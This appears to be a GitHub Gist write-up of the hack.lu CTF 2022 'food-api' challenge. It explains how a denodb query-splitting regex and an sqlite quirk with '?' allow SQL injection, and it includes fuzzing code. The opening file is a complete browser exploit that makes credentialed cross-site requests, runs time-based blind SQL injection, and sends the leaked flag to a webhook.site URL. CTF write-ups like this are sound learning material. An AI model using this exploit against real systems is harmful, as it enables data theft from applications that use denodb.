Created
October 30, 2022 21:37
-
-
Save parrot409/f7f5807478f50376057fba755865bd98 to your computer and use it in GitHub Desktop.
food-api hack.lu ctf 2022
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
```html | |
<script> | |
const target = 'https://0.0.0.0/api/food/555??=`in()*?;select%20/*--%20%27&b%20%271*/%271%27from%20flag%20where%20randomblob((CASE%20WHEN%20(SUBSTR((SELECT%20flag%20FROM%20flag),IDX,1)%3d%27CHR%27)%20THEN%205000000%20ELSE%201%20END))--=dfdf' | |
const alphabet = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~ \t\n\r\x0b\x0c' | |
var flag = '' | |
async function atk(){ | |
let tbl = [] | |
for(let i=0;i<alphabet.length;i++){ | |
let prev = performance.now() | |
await fetch(target.replace('IDX',flag.length+1).replace('CHR',encodeURIComponent(alphabet[i])),{mode:'no-cors',credentials:'include'}) | |
tbl.push(parseInt(performance.now()-prev)) | |
} | |
flag += alphabet[tbl.indexOf(Math.max(...tbl))] | |
if(flag.length < 50){ | |
console.log(flag) | |
atk() | |
} | |
} | |
atk() | |
setInterval(()=>{ | |
fetch('https://webhook.site/6681d07f-ebf3-4189-94f8-fce6ded6fe19?flag='+encodeURIComponent(flag)) | |
},5000) | |
</script> | |
``` |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# solved with help from @sapra | |
> download the chall. | |
> i need sqli. | |
> where vuln... | |
> it should be passing objects to `where()` but docs say it's safe to use | |
> 0day trick? | |
> it uses denodb. | |
> how does it escape stuff.. maybe put console.log in denodb to log the executed sql? maybe i can guess the vuln. | |
> app uses denodb. find where deno hold packages. | |
> can't find on google . | |
> `find / -name 'deno'.` | |
> weird packaging system. package filenames are random. find the correct file with grep. | |
> inject console.log(sql) in denodb. | |
``` | |
select `id` as `id`, `name` as `name` from `food` where `id` = '1' | |
``` | |
> column ids are inside backticks and values are inside quotes. | |
> both look safe. it escapes with double backticks-quotes. | |
> can't guess. | |
> take a quick look at denodb source code. | |
> spot a weird regexp. | |
``` | |
const subqueries = query.split(/;(?=(?:[^'"]|'[^']*'|"[^"]*")*$)/); | |
``` | |
> "lmao they implemented stacked-queries with regexp". | |
> no backticks in regexp. solved? | |
> it works. | |
> with `/api/food/555?o;a=1`, `subqueries` is | |
``` | |
[ | |
"select `id` as `id`, `name` as `name` from `food` where `id` = '555' and `o", | |
"a` = '1'" | |
] | |
``` | |
> "oh shit it throws error when the first query is not a valid sql". | |
> try to find a way-around for ~30 mins. | |
> fail. | |
> "no way there is another bug. this should be it." | |
> fuzz the sql with the following code. maybe one of the chars did some magic and sql fixes. | |
```fuzz.py | |
import requests | |
for i in range(0xff): | |
requests.get('http://chall/api/food/20000?a'+chr(i)+';wow=333') | |
# look at the logs for syntax errors related to wow not the first column | |
``` | |
> nothing related to "wow" but one the queries in logs is weird. | |
> wtf how's this happening. | |
``` | |
[ | |
"select `id` as `id`, `name` as `name` from `food` where `id` = '555' and `a'333'", | |
"wow` = ?" | |
] | |
``` | |
> question mark does some magic. | |
#### | |
# fast forward to an hour later after reading some source-code and guessing. | |
# i can change where binding values are added. | |
# for example `/api/food/555?before?after=333` executes the following query. | |
# ``` | |
# select `id` as `id`, `name` as `name` from `food` where `id` = '555' and `before'333'after` = ? | |
# ``` | |
#### | |
> now i can make a valid sql but the problem is it's not a valid column name (since there are quotes around the injected value inside the column id) so it results in sqlite error. | |
> try to find a way-around for ~3-4 hours (with some breaks ofc). | |
> nothing. give up and sleep | |
> get up and turn on the pc after a regular morning | |
> trace the denodb and dex libraries line by line with `deno --inspect` and chrome. | |
fast forward to ~30 mins later | |
> nothing useful. | |
> decide to read sqlite3 source code to find out how it resolves the column names. | |
> compile sqlite3 with help of blogs to inject some `printf`s in the source code. | |
fast forward to ~1-2 hour later | |
> no progress. but i found some cool ideas to create sqlite ctf challs tho. | |
> hmmm noooooo idea. | |
> "maybe i should fuzz it" | |
> writing a good fuzzer will take a lot time | |
> "what about fuzzing it with afl?" | |
> write a program that crashes if there are no error and fuzz it? | |
```c | |
char sql[0x20000]; | |
strcpy(sql,"CREATE TABLE test(id INT);INSERT INTO test (id) VALUES (1); SELECT * FROM test WHERE `'"); | |
strcpy(sql+strlen(sql),buf); | |
strcpy(sql+strlen(sql),"'`;"); | |
open_db(&data, 0); | |
rc = shell_exec(&data, sql, &zErrMsg); | |
if(!zErrMsg){ | |
char *m = 1; | |
strcpy(m,"CRASHWOWCRASHWOWCRASHWOWCRASHWOWCRASHWOWCRASHWOWCRASHWOWCRASHWOWCRASHWOW"); | |
} | |
exit(0); | |
``` | |
> start fuzzing | |
> no hits after 30 mins | |
> give up but let it run in the background. | |
> crash after 1 hour. wow | |
> weird test case but it works. | |
> analyse test case | |
> queries with invalid column names don't fail in some cases when there is a ? in the query | |
``` | |
# This query should run without error on any sqlite db | |
SELECT * FROM sqlite_master WHERE `BadColumnName`in()*? | |
``` | |
> get sqli and leak flag with time-based sqli and measuring how long the request takes with `performance.now();fetch();performance.now()`; |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment